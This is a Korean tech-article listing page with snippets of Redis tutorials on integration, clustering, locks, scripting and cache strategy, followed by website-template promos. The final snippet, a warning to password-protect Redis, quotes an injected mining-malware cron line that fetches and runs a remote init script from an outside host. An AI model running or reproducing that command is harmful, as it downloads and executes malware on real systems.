현재 위치: > 기술 기사 > 데이터 베이스 > Redis

  • Redis를 springboot와 통합하는 방법
    Redis를 springboot와 통합하는 방법
    1.pom.xml添加依赖org.springframework.bootspring-boot-starterorg.springframework.bootspring-boot-starter-weborg.projectlomboklomboktrueorg.springframework.bootspring-boot-starter-testtestorg.springframework.bootspring-boot-starter-data-redis2 .애플리케이션-
    Redis 1067 2023-05-26 16:26:36
  • Node.js가 Redis를 작동하여 쿼리 기능을 추가하는 방법
    Node.js가 Redis를 작동하여 쿼리 기능을 추가하는 방법
    여기서는 Redis 서버 설치 예를 소개하지 않으므로 여기서는 중점을 두지 않습니다. 관심있는 분들은 직접 설치해보세요. 새 모듈의 경우 프로젝트에 redis 모듈을 설치해야 사용할 수 있습니다. cnpminstallredis 명령을 사용하여 새 redis.js 파일을 생성합니다. 코드는 다음과 같습니다. //redis 소개 varredis=require("redis");//redis 클라이언트 생성 varclient=redis.createClient("6379","127.0.0.1 ");// 연결 오류 처리 c
    Redis 1348 2023-05-26 16:26:30
  • Redis 마스터-슬레이브 아키텍처를 구축하는 방법은 무엇입니까?
    Redis 마스터-슬레이브 아키텍처를 구축하는 방법은 무엇입니까?
    마스터-슬레이브 환경에 구축된 Redis 인스턴스는 기본적으로 모두 마스터 노드이므로 마스터-슬레이브 아키텍처를 구축하려면 일부 구성을 수정해야 합니다. Redis의 마스터-슬레이브 아키텍처는 구축하기가 비교적 간단합니다. 마스터-슬레이브 아키텍처를 구축하기 위해서는 나중에 소개하기 전에 먼저 마스터-슬레이브 아키텍처의 특징을 이해해야 합니다. 마스터-슬레이브 아키텍처에는 마스터 노드(마스터)가 있고, 하나 이상의 슬레이브 노드(슬레이브)가 있고 데이터 복제는 단방향이며, 슬레이브 노드에서 마스터 노드로가 아닌 마스터 노드에서 슬레이브 노드로만 복사할 수 있습니다. 마스터-슬레이브 아키텍처를 설정하는 방법 마스터-슬레이브 아키텍처를 설정하는 방법에는 세 가지가 있습니다. Redis.conf 구성 파일에 Slaveof{masterHost}{m을 추가합니다.
    Redis 1334 2023-05-26 16:23:07
  • Redis 분산 잠금 구현 원리 분석 예시
    Redis 분산 잠금 구현 원리 분석 예시
    우선, 분산 잠금을 사용할 수 있도록 하려면 최소한 잠금 구현이 다음 네 가지 조건을 동시에 충족하는지 확인해야 합니다. 1. 상호 배타성. 언제든지 하나의 클라이언트만 잠금을 보유할 수 있습니다. 2. 교착상태가 발생하지 않습니다. 클라이언트가 잠금을 적극적으로 잠금 해제하지 않고 잠금을 유지하는 동안 충돌이 발생하더라도 다른 클라이언트가 이후에 잠금을 잠글 수 있다는 것이 보장됩니다. 3. 내결함성. 대부분의 Redis 노드가 정상적으로 실행되는 한 클라이언트는 잠그거나 잠금 해제할 수 있습니다. 4. 종을 풀려면 종을 묶어야 한다. 잠금 및 잠금 해제는 동일한 클라이언트에 의해 수행되어야 합니다. 클라이언트 자체는 다른 사람이 추가한 잠금을 잠금 해제할 수 없습니다. 다음은 코드 구현입니다. 먼저 Maven을 통해 Jedis 오픈 소스 구성 요소를 도입하고 pom.xml 파일에 다음 코드를 추가해야 합니다. org.springf
    Redis 1564 2023-05-26 16:19:14
  • Redis가 멀티스레딩을 도입하는 이유는 무엇입니까?
    Redis가 멀티스레딩을 도입하는 이유는 무엇입니까?
    1. 문제점 개요 Redis 6.0 이후 버전에서는 단일 스레드 모델 설계를 포기했습니다. 원래 단일 스레드 작업을 사용했던 Redis도 선택적으로 멀티 스레드 모델을 사용하기 시작했습니다. 얼핏 보면 Redis 작성자가 정말 대단한 것 같습니다. 그러나 그는 "진정한 향기의 법칙"에서 벗어날 수 없습니다. "자세히 생각해 보면 이 질문은 실제로 두 가지 주요 질문으로 나눌 수 있습니다. (1) 애초에 Redis가 단일 스레드 모델을 선택한 이유는 무엇입니까? 단일 스레딩의 이점)? (2) Redis가 6.0 이후에 멀티스레딩을 추가한 이유는 무엇입니까(어떤 경우에는 싱글스레딩에 단점이 있는데, 이는 멀티스레딩으로 해결될 수 있습니다)? 사실 저자가 진정한 향정리에서 벗어나지 못한 것은 아니지만, 시간이 지날수록 원래의 디자인은 다소 낡고 변경되어야 할 문제가 점점 더 많아지고 있다.
    Redis 1690 2023-05-26 15:59:10
  • Go와 Lua를 사용하여 Redis 플래시 세일의 재고 및 과판매 문제를 해결하는 방법
    Go와 Lua를 사용하여 Redis 플래시 세일의 재고 및 과판매 문제를 해결하는 방법
    0. 소개 Go 언어는 go-redis를 연결하여 데이터베이스에 연결합니다. 아직 이 부분을 이해하지 못했다면 먼저 이 부분을 학습하는 것이 좋습니다. 또한 이번 플래시 세일은 주로 두 가지 문제를 해결합니다. 첫 번째는 과매도 문제이고 다른 하나는 재고 문제입니다. 동시성을 시뮬레이션하도록 설계된 특별한 페이지는 없습니다. goroutine을 직접 사용하고 요청을 호출하기 전에 10초 동안 유지합니다. 과매도 문제를 해결하기 위해 go-redis의 watch에 트랜잭션 처리(낙관적 잠금과 동일) 기능을 도입할 수 있습니다. 인벤토리 문제는 더 까다롭습니다. 스크립트를 편집하려면 Lua를 사용해야 하지만 Go에서는 관련 지원을 제공하므로 Lua 컴파일 환경을 다운로드할 필요가 없습니다. 이 부분은 당황하지 마세요. 기본 구조는 다음과 같습니다.
    Redis 1206 2023-05-26 15:57:41
  • Python을 사용하여 Redis 클러스터를 빠르게 구축하는 방법
    Python을 사용하여 Redis 클러스터를 빠르게 구축하는 방법
    Redis 통신 프로토콜 다음 프로그램의 이해를 돕기 위해 주요 사항을 나열합니다. Redis는 TCP 포트 6379(기본 포트, 구성에서 수정 가능)에서 들어오는 연결을 모니터링합니다. 클라이언트와 서버 간에 전송되는 모든 Redis 명령 또는 데이터는 rn으로 끝납니다. 응답(서버가 클라이언트에서 복구할 수 있는 프로토콜) Redis는 다양한 응답 유형으로 명령에 응답합니다. 서버에서 보낸 첫 번째 바이트부터 시작하여 응답 유형을 확인할 수 있습니다. * 한 줄 응답(상태 응답)의 경우 응답의 첫 번째 바이트는 "+"입니다. * 오류 메시지인 경우 응답의 첫 번째 바이트는 be는 "-&amp
    Redis 1100 2023-05-26 15:56:36
  • Redis 캐시 지연 이중 삭제는 무엇을 의미합니까?
    Redis 캐시 지연 이중 삭제는 무엇을 의미합니까?
    캐시가 업데이트되지 않고 삭제되는 이유는 무엇입니까? 업데이트인 경우 분산 트랜잭션 문제가 있어 캐시가 수정되어 데이터베이스 수정이 실패할 수 있습니다. 캐시만 삭제하면 데이터베이스 수정이 실패하더라도 다음 쿼리가 데이터베이스에서 데이터를 직접 가져오므로 더티 데이터가 나타나지 않습니다. 지연된 이중 삭제란 무엇입니까? 즉, 엔터티 클래스를 추가, 삭제, 수정하는 경우 해당 엔터티 클래스의 캐시를 지워야 하는 위치는 데이터베이스 작업 방법 전과 후입니다. 모순증명법을 사용하면 결론만 먼저 삭제하고 나중에 삭제하면 삭제 전 삭제 모두 문제가 있다는 결론이 나온다. 따라서 지연된 이중 삭제 전략이 채택됩니다. 생각 2: 지연이 여전히 모순에 의한 증거인 이유는 무엇입니까? 아래 그림의 상황은 이중 삭제 후에도 이전 캐시가 여전히 존재하는 상황을 보여줍니다. 지연은 데이터베이스 수정 -> 캐시 지우기 전에 다른 트랜잭션의 캐시 변경 작업이 완료되었는지 확인하기 위한 것입니다.
    Redis 3361 2023-05-26 15:49:51
  • Java가 Redis를 운영하고 다음날 이른 아침에 만료를 설정하는 솔루션은 무엇입니까?
    Java가 Redis를 운영하고 다음날 이른 아침에 만료를 설정하는 솔루션은 무엇입니까?
    Java에서는 다음날 이른 아침에 만료 시나리오를 설정하기 위해 redis를 운영하는데, 데이터를 쿼리할 때 redis에서 해당 데이터가 다음 날 만료되도록 설정해야 하는 문제가 발생했습니다. 다음 날 이른 아침과 현재 시간의 시차를 Redis의 만료 시간으로 설정하면 원하는 효과를 얻을 수 있습니다. 코드/*** 시차를 계산합니다. 다음 날 이른 아침과 현재 시간 사이의 초 단위 *@param*@returnjava .lang.Long*@authorshy*@date2021/3/1218:10*/publicstaticLonggetNowToNextDa
    Redis 1501 2023-05-26 15:40:59
  • 높은 동시성에서 제품 과잉 판매 문제를 해결하기 위해 PHP+Redis를 사용하는 방법
    높은 동시성에서 제품 과잉 판매 문제를 해결하기 위해 PHP+Redis를 사용하는 방법
    특정 수의 사용자를 보유한 일부 전자상거래 웹사이트의 경우 단순히 관계형 데이터베이스(예: MySQL, Oracle)를 사용하여 급하게 구매하는 경우 데이터베이스에 대한 부담이 매우 클 것이며 데이터베이스 잠금 메커니즘을 제대로 사용하지 않을 경우 , 상품이나 쿠폰이 과매도되는 문제가 발생할 수 있습니다. 저희 회사에서도 같은 문제가 발생했는데, 쿠폰을 과다 구매했을 때 문제가 발생했는데, 문제가 발생한 후 해결 방법을 고민하기 시작했습니다. 저는 Redis를 많이 사용하기 때문에 이 문제를 해결하기 위해 Redis를 사용할 예정입니다. . Redis의 고성능 및 트랜잭션 기능을 사용하여 과잉 재고로 인해 온라인 쿠폰이 급등하는 문제를 해결합니다. 아래에서는 일부 세부 정보를 제거하고 이 문제를 일시적으로 해결한 의사 코드의 첫 번째 버전을 제공합니다.
    Redis 1921 2023-05-26 15:31:06
  • Redis 스크립트 명령 실행 문제 분석 예
    Redis 스크립트 명령 실행 문제 분석 예
    1. redis-cli 명령줄에서 실행: # redis 명령을 호출하여 캐시 설정 # 매개변수 eval"returnredis.call('set','name1','Tom')"0#Pass in 1 전달하지 않음 값 매개변수 eval"returnredis .call('set','name2',ARGV[1])"0"Tom"
    Redis 1621 2023-05-26 15:28:06
  • Linux 시스템에 Redis를 설치하는 방법
    Linux 시스템에 Redis를 설치하는 방법
    Redis는 고성능 키-값 데이터베이스입니다. Redis의 출현은 memcached와 같은 키값 저장소의 단점을 크게 보완했으며 일부 상황에서는 관계형 데이터베이스에 대한 매우 좋은 보완 역할을 할 수 있습니다. redis 소개: 원격 사전 서비스인 Redis(RemoteDictionaryServer)는 ANSIC 언어로 작성된 오픈 소스 로그 유형의 Key-Value 데이터베이스로, 네트워크를 지원하고 메모리 기반 및 영속성이 가능하며 다국어로 API를 제공합니다. 2010년 3월 15일부터 Redis 개발은 VMware에서 호스팅되었습니다. 2013년 5월부터 Redis 개발 시작
    Redis 1038 2023-05-26 14:55:14
  • Redis 특수 데이터 유형 지리공간을 사용하는 방법
    Redis 특수 데이터 유형 지리공간을 사용하는 방법
    Redis의 특수 데이터 유형인 Geospatial은 redis 버전 3.2에서 출시되었습니다. 이는 지리적 위치 정보, 두 장소 사이의 거리, 주변 사람 수 및 기타 시나리오를 계산하는 데 사용할 수 있습니다. 1. Geoadd는 지정된 지리적 공간 위치(위도, 경도, 이름)를 지정된 키에 추가합니다. 여기서 온라인 위도 및 경도 쿼리 도구를 사용하여 데이터를 얻을 수 있습니다. geoaddchina:city121.47264431.231706shanghaigeoaddchina:city120.61958531.299379suzhougeoaddchina:city116.4052
    Redis 760 2023-05-26 14:55:06
  • Redis 클러스터링의 세 가지 방법은 무엇입니까
    Redis 클러스터링의 세 가지 방법은 무엇입니까
    Redis에는 마스터-슬레이브 복제, 센티넬 모드 및 클러스터 클러스터의 세 가지 클러스터링 방법이 있습니다. 마스터-슬레이브 복제의 기본 원칙 새 슬레이브 서버가 구축되면 슬레이브 서버는 SYNC 명령을 수신한 후 마스터 서버가 BGSAVE 명령을 실행합니다. BGSAVE 명령이 실행되면 생성된 RDB 파일이 슬레이브 서버로 전송됩니다. 슬레이브 서버는 이 파일을 사용하여 메모리에 데이터를 로드합니다. Redis 명령 프로토콜 형식의 슬레이브 서버. 이후 마스터 서비스가 명령을 실행할 때마다 슬레이브 서버와 동기화됩니다. 마스터 서버에 SYNC 명령을 보내는 슬레이브 서버가 여러 개 있더라도
    Redis 1599 2023-05-26 14:37:13
  • Redis가 비밀번호를 설정해야 하는 이유는 무엇입니까?
    Redis가 비밀번호를 설정해야 하는 이유는 무엇입니까?
    Redis에서 비밀번호를 설정해야 하는 이유는 무엇입니까? 인트라넷 환경에서는 비밀번호를 설정할 필요가 없으나, 개인 서버와 온라인 공개 서버에서는 비밀번호를 설정해야 합니다. 어제 minio의 redis 이벤트 알림을 확인했는데, redis 키를 확인해보니 이상한 키가 몇 개 더 발견되었습니다. 백업1, 백업2, 백업3. 그러다가 채굴 바이러스인 줄 알았어요. 아래와 같이: 이러한 방식으로 예약된 작업과 스크립트가 시스템에 주입되고 init.sh 스크립트 backup1"\n\n\n*/2****rootcd1-fsSLhttp://en2an.top이 /cleanfda/init가 실행되기 시작합니다.
    Redis 2516 2023-05-26 14:17:22

도구 권장 사항

jQuery 기업 메시지 양식 연락처 코드

jQuery 기업 메시지 양식 연락처 코드는 간단하고 실용적인 기업 메시지 양식이자 문의 소개 페이지 코드입니다.
양식 버튼
2024-02-29

HTML5 MP3 뮤직 박스 재생 효과

HTML5 MP3 뮤직 박스 재생 특수 효과는 귀여운 뮤직 박스 이모티콘을 만들고 전환 버튼을 클릭하는 HTML5+css3 기반의 MP3 뮤직 플레이어입니다.

HTML5 멋진 입자 애니메이션 탐색 메뉴 특수 효과

HTML5 멋진 입자 애니메이션 탐색 메뉴 효과는 탐색 메뉴를 마우스로 가리키면 색상이 변경되는 특수 효과입니다.
메뉴 탐색
2024-02-29

jQuery 시각적 양식 드래그 앤 드롭 편집 코드

jQuery 시각적 양식 드래그 앤 드롭 편집 코드는 jQuery 및 부트스트랩 프레임워크를 기반으로 하는 시각적 양식입니다.
양식 버튼
2024-02-29

유기농 과일 및 야채 공급업체 웹 템플릿 Bootstrap5

유기농 과일 및 채소 공급업체 웹 템플릿-Bootstrap5

Bootstrap3 다기능 데이터 정보 배경 관리 반응형 웹 페이지 템플릿-Novus

Bootstrap3 다기능 데이터 정보 배경 관리 반응형 웹 페이지 템플릿-Novus
백엔드 템플릿
2023-02-02

부동산 자원 서비스 플랫폼 웹 페이지 템플릿 Bootstrap5

부동산 자원 서비스 플랫폼 웹 페이지 템플릿 Bootstrap5

간단한 이력서 정보 웹 템플릿 Bootstrap4

간단한 이력서 정보 웹 템플릿 Bootstrap4

귀여운 여름 요소 벡터 자료(EPS+PNG)

이것은 태양, 태양 모자, 코코넛 나무, 비키니, 비행기, 수박, 아이스크림, 아이스크림, 차가운 음료, 수영 반지, 슬리퍼, 파인애플, 소라, 조개, 불가사리, 게를 포함한 귀여운 여름 요소 벡터 자료입니다. , 레몬, 자외선 차단제, 선글라스 등 자료는 JPG 미리보기를 포함하여 EPS 및 PNG 형식으로 제공됩니다.
PNG 소재
2024-05-09

4개의 빨간색 2023 졸업 배지 벡터 자료(AI+EPS+PNG)

이것은 빨간색 2023년 졸업 배지 벡터 자료로, 총 4개이며 JPG 미리보기를 포함하여 AI, EPS 및 PNG 형식으로 사용할 수 있습니다.
PNG 소재
2024-02-29

노래하는 새와 꽃 디자인 봄 배너 벡터 자료로 가득 찬 카트(AI+EPS)

노래하는 새와 꽃이 가득한 수레로 디자인된 봄 배너 벡터 자료입니다. JPG 미리보기를 포함하여 AI 및 EPS 형식으로 제공됩니다.
배너 그림
2024-02-29

황금 졸업 모자 벡터 자료(EPS+PNG)

이것은 JPG 미리보기를 포함하여 EPS 및 PNG 형식으로 제공되는 황금 졸업 모자 벡터 자료입니다.
PNG 소재
2024-02-27

가정 장식 청소 및 수리 서비스 회사 웹사이트 템플릿

가정 장식 청소 및 유지 관리 서비스 회사 웹 사이트 템플릿은 가정 장식, 청소, 유지 관리 및 기타 서비스 조직을 제공하는 홍보 웹 사이트에 적합한 웹 사이트 템플릿 다운로드입니다. 팁: 이 템플릿은 Google 글꼴 라이브러리를 호출하므로 페이지가 느리게 열릴 수 있습니다.

신선한 색상의 개인 이력서 가이드 페이지 템플릿

신선한 컬러 매칭 개인 구직 지원 이력서 가이드 페이지 템플릿은 신선한 컬러 매칭 스타일에 적합한 개인 구직 이력서 작업 표시 가이드 페이지 웹 템플릿 다운로드입니다. 팁: 이 템플릿은 Google 글꼴 라이브러리를 호출하므로 페이지가 느리게 열릴 수 있습니다.

디자이너 크리에이티브 작업 이력서 웹 템플릿

디자이너 크리에이티브 작업 이력서 웹 템플릿은 다양한 디자이너 직위에 적합한 개인 작업 이력서 표시를 위한 다운로드 가능한 웹 템플릿입니다. 팁: 이 템플릿은 Google 글꼴 라이브러리를 호출하므로 페이지가 느리게 열릴 수 있습니다.

현대 엔지니어링 건설 회사 웹사이트 템플릿

현대 엔지니어링 및 건설 회사 웹 사이트 템플릿은 엔지니어링 및 건설 서비스 산업 홍보에 적합한 다운로드 가능한 웹 사이트 템플릿입니다. 팁: 이 템플릿은 Google 글꼴 라이브러리를 호출하므로 페이지가 느리게 열릴 수 있습니다.